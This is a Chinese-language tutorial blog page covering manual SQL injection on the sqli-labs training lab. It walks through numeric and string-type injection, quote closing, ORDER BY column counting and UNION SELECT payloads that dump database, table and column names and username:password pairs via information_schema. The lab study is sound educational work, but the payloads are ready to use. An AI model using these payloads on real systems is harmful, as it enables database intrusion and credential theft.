Byron

Web Application Security Research & Exploit Development

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-1, Less-3, & Less-4


1.0 介绍

在上一篇文章[Union Injection]中, 逐步剖析了数字型注入(Less-2)关卡, 这篇文章开始转向字符型注入,他增加了一个关键步骤: 符号闭合,也就是通过精心拼接单引号、双引号或括号,把原本破坏 SQL 语法的恶意输入“伪装”成合法的查询语句,从而成功注入我们想要的 Payload

为什么要学字符型注入?

在真实 Web 应用中,绝大多数用户输入的参数都是被引号包裹的字符串(如登录名、搜索关键词、文章标题),字符型注入的占比远高于数字型

1.1 SQL语句及URL中常用注释

注释类型 SQL 语句中的语法要求 GET 请求 URL 中的写法 POST 请求 Body 中的写法
单行注释 -- 两个减号后必须跟一个空格(或制表符等控制字符) --+--%20
+ 解码为空格,%20 也是空格
直接写 -- (减号后带空格)
单行注释 # # 开始到行尾的所有内容均为注释 必须编码为 %23
(浏览器默认将 # 解析为页面锚点, 不发送给服务器)
直接写 #

2.0 手工注入

01 判断有无注入点(Less-1)

  • ?id=1 and 1=1 → 页面正常返回值
  • ?id=1 and 1=2 → 页面正常返回值

分析: ?id=1 and 1=2 返回值应该为false, 故暂且认为该漏洞为字符类型

以下测试字符型:

  • ?id=1’ → 报错

  • ?id=1’ and 1=1 –+ → 页面正常返回值

  • ?id=1’ and 1=2 –+ → 无返回值

按照上述方法,可构造出Less-3 & Less-4 的闭合符号

Less-3 Less-4
?id=’) ?id=”)

02 猜解列数

?id=1’ order by 3 –+ → 正常返回

?id=1’ order by 4 –+ → 报错 Unknown column ‘4’ in ‘order clause’

通过以上Payload可知,当前查询涉及的表共有 3 列

03 定位回显

1
?id=-1' union select 1,2,3 --+

通过以上步骤, 确定三个Less的基本信息如下:

Lab Character Column display position
Less-1 3 2, 3
Less-3 ‘) 3 2, 3
Less-4 “) 3 2, 3

综合以上信息,即可构建注入Payload:

  • 爆数据库名
1
?id=-1' union select null,database(),null --+
  • 爆所有表
1
?id=-1' union select null,group_concat(table_name),null from information_schema.tables where table_schema=database() --+
  • 爆字段
1
?id=-1' union select null,group_concat(column_name),null from information_schema.columns where table_schema=database() and table_name='users' --+
  • 爆数据
1
?id=-1' union select null,group_concat(username,0x3a,password,0x0a),null from security.users --+

综上, 完整注入(Less-1), 对Less-3 & Less-4使用同样思路注入即可, 只需修改对应Payload中闭合字符

Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: sqli-labs Less-2

1.0 前置基础

1.1 Web应用三层架构:

SQL 注入恶意输入来源于表现层, 经业务逻辑传递, 在数据访问层拼接 SQL 时触发执行


1.2 order by (探测/排序)

01 语法格式:

1
order by n;

02 作用:

  • 用于探测指定表的列数

1.3 union (联合查询)

01 联合查询语法:

1
2
3
SELECT column1, column2 FROM table1 
UNION
SELECT column1, column2 FROM table2;

02 特性:

  • 列数必须完全相等:前后两条SELECT查询的字段数量必须一致
  • 数据类型必须兼容

1.4 系统库 information_schema

01 概述:

information_schema 是MySQL 5.0 及以上版本自带的“元数据库”,正是该库的特性,才提供了后续注入的核心内容!

02 结构图解:

03 字段解读:

  • schemata: 存储所有数据库的信息
    • schema_name(数据库名)
  • tables
    • table_schema(所属数据库名)
    • table_name(数据表名)
  • columns
    • table_schema(所属数据库名)
    • table_name(所属表名)
    • column_name(字段名)

2.0 手工注入

2.1 注入流程

2.2 注入案例

靶场 关卡
sqli-labs Less-2

01 判断有无注入点

  • ?id=1 and 1=1 → 页面正常返回值

  • ?id=1 and 1=2 → 无返回值

通过以上Payload判断存在注入点,且为数字型

02 猜解列数

  • ?id=1 order by 1 → 正常
  • ?id=1 order by 2 → 正常
  • ?id=1 order by 3 → 正常
  • ?id=1 order by 4 → 报错 Unknown column ‘4’ in ‘order clause’

通过以上Payload可知,当前查询涉及的表共有 3 列

03 定位回显

1
?id=-1 union select 1,2,3

通过上图得知可用回显位为2,3

04 爆数据库名

1
?id=-1 union select 1,database(),null

05 爆所有表

1
2
?id=-1 union select 1,group_concat(table_name),null from information_schema.tables where
table_schema=database()

06 爆字段

1
?id=-1 union select 1,group_concat(column_name),null from information_schema.columns where table_schema=database() and table_name='users'

07 爆数据

1
?id=-1 union select 1,group_concat(username,':',password),null from security.users

0%